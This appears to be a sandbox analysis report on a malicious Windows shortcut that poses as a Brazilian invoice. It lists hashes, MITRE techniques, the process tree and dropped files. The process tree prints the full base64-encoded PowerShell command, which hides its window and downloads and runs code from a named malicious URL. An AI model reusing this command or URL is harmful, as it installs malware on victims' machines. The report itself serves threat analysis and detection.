4fd9ac39ba840a298ae238d690b1c19dcf1d65536d803cf0f0cb9b05212e5e72

General

Target

NotaFiscal_Danfe_N43553454BR.lnk
Size

2KB
MD5

c3996410f80fd3137feb0f42074c71ca
SHA1

2da7caa8372ddb9e6601a029ed3d2128b5263b08
SHA256

11718e47eee14d48ff490b5443e430607968f9a18d95272e72e128c0c97c6234
SHA512

a706a0cd9c1a0443476067221786518a46c614a91f0937f384c7e8068d2ed85ff05e243e964556b34fc4c363d7296d229a47db1a37e78382825cf4f37294cb78

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://sepogy.epiain.com/v2/gl.php?aHR0cHM6Ly9zZXBvZ3kuZXBpYWluLmNvbS92Mnw2NDhR%

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
4220	powershell.exe
4220	powershell.exe
4220	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4220	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 428 wrote to memory of 4220	428	cmd.exe	83
PID 428 wrote to memory of 4220	428	cmd.exe	83
PID 4220 wrote to memory of 4944	4220	powershell.exe	84
PID 4220 wrote to memory of 4944	4220	powershell.exe	84
PID 4944 wrote to memory of 2360	4944	csc.exe	85
PID 4944 wrote to memory of 2360	4944	csc.exe	85

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\NotaFiscal_Danfe_N43553454BR.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:428
- C:\windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\windows\System32\WindowsPowerShell\v1.0\powershell.exe" -en cAB5ADsAYQBkAGQALQBUAFkAcABFACAALQBuAGEATQBFACAAQQAgAC0ATQBlAE0AYgBFAHIARABFAGYAaQBuAEkAVABpAE8ATgAgACcAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAdQBzAGUAcgAzADIALgBkAGwAbAAiACkAXQAgAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAGIAbwBvAGwAIABTAGgAbwB3AFcAaQBuAGQAbwB3ACgAaQBuAHQAIABoACwAIABpAG4AdAAgAHMAKQA7ACcAIAAtAG4AQQBNAEUAcwBwAGEAQwBlACAAQgA7AFsAYgAuAEEAXQA6ADoAUwBIAE8AdwBXAEkAbgBkAE8AVwAoACgAWwBTAFkAcwB0AGUAbQAuAEQASQBhAGcATgBPAHMAVABpAEMAcwAuAFAAcgBPAEMAZQBzAHMAXQA6ADoAZwBlAHQAQwBVAFIAUgBlAG4AVABQAHIATwBDAEUAcwBTACgAKQAgAHwAIABQAFMAKQAuAE0AYQBJAE4AdwBpAG4ARABvAHcAaABhAG4ARABMAGUALAAwACkAOwBJAGUAWAAoAE4AZQBXAC0ATwBiAGoAZQBDAHQAIABOAGUAVAAuAFcAZQBiAEMATABpAGUAbgBUACkALgBEAE8AdwBOAEwATwBhAEQAUwBUAHIASQBOAEcAKAAnAGgAdAB0AHAAcwA6AC8ALwBzAGUAcABvAGcAeQAuAGUAcABpAGEAaQBuAC4AYwBvAG0ALwB2ADIALwBnAGwALgBwAGgAcAA/AGEASABSADAAYwBIAE0ANgBMAHkAOQB6AFoAWABCAHYAWgAzAGsAdQBaAFgAQgBwAFkAVwBsAHUATABtAE4AdgBiAFMAOQAyAE0AbgB3ADIATgBEAGgAUgAlACcAKQA=
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4220
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\1xp02vi4\1xp02vi4.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4944
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESAEFD.tmp" "c:\Users\Admin\AppData\Local\Temp\1xp02vi4\CSC9FFE5B5FDDFF47A4B26A39C533A8278A.TMP"
      4⤵
      PID:2360

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\1xp02vi4\1xp02vi4.dll

Filesize
3KB

MD5
f4ff9a5b00044d74b382028a2d95ff99

SHA1
a608708c71e1ebab3b414c07dd33b661cb963559

SHA256
38f1ea1a0721abf4d9eafe563c19212df7d21a49eb0a9d38e4ae4f719c53882b

SHA512
3052aba03d923576628408b229582fcfa61b29789dd22870c2b3889a31508573dbfee91d489f8ba054b3c95738b2b3ddec613c32533ad203e834f54e35a4294e

Download Submit
C:\Users\Admin\AppData\Local\Temp\RESAEFD.tmp

Filesize
1KB

MD5
b791f741b7abdc61ea61b44ac967dc65

SHA1
2c403a85ef57e64f04fcdc50f66d3f8ffc0a6d60

SHA256
84e6bb4338684a94425470bf96ad2dcbc1bc7de8d3b751858e7d2af45c59a125

SHA512
424236c42d07f0f702e03e65d85d679f3f6ddcc89ef11756809e9033da019772089c202fccea3a7b4f4796413ad78b95aac2b59a7ccc42628a9926ae1518898c

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fc2k0csy.y51.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\1xp02vi4\1xp02vi4.0.cs

Filesize
187B

MD5
7b0e7177dfbb9edd1c1ef08b4fdfae2f

SHA1
cb11a0252cdad66ec247312ccb7feb46456e52b6

SHA256
6caf22ef995616dc37bec21b2af3aa4597cdad88e00a13de0122db3af4e9a4aa

SHA512
7322be891145e550405917757420aeb513e5689970d34647177b1a79a12c7776d4e49c129b093be9927b46bc7582c0379e0cb520af58d4410ed4c5ef98b4dbfd

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\1xp02vi4\1xp02vi4.cmdline

Filesize
369B

MD5
a669fc2747918368fa9efa09b62c51bc

SHA1
83577f7ee996ebeafecd8160c8dfbeb77d3e336a

SHA256
96ad8432d23fbc544630dd49b1ac4e41e2fe5891e1a9359546afb41b082e7917

SHA512
adcc844685807112e7892b9451dab733f5394a117a4f85eb328ca080181b4fd06c559e5a7b3df67c1e8562b3d2afe82562b5ed651915ae524342776f6ccd1106

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\1xp02vi4\CSC9FFE5B5FDDFF47A4B26A39C533A8278A.TMP

Filesize
652B

MD5
c620f6045aabfa2a1efb302f6e48916f

SHA1
e0e79bd3b9bb7257b0daa2a29faa6fcae54ea915

SHA256
e849ccd2f7c01a677f2bf207705f42807f718691c49186d03d8ef58d0ea87ba0

SHA512
17b62f9dc8477931139d0b881ab04f952c88c3868a05007d7dd5d37fdbed7d1d2c3d2620e4e8db5528bb5dbeec13d98a282e684f77f77a83283207c18a7e29f0

Download Submit
memory/4220-13-0x00007FFCFA390000-0x00007FFCFAE51000-memory.dmp

Filesize
10.8MB

Download
memory/4220-16-0x00007FFCFA390000-0x00007FFCFAE51000-memory.dmp

Filesize
10.8MB

Download
memory/4220-15-0x00007FFCFA390000-0x00007FFCFAE51000-memory.dmp

Filesize
10.8MB

Download
memory/4220-14-0x00007FFCFA390000-0x00007FFCFAE51000-memory.dmp

Filesize
10.8MB

Download
memory/4220-2-0x00007FFCFA393000-0x00007FFCFA395000-memory.dmp

Filesize
8KB

Download
memory/4220-29-0x0000016D3D120000-0x0000016D3D128000-memory.dmp

Filesize
32KB

Download
memory/4220-9-0x0000016D3D130000-0x0000016D3D152000-memory.dmp

Filesize
136KB

Download
memory/4220-33-0x00007FFCFA390000-0x00007FFCFAE51000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing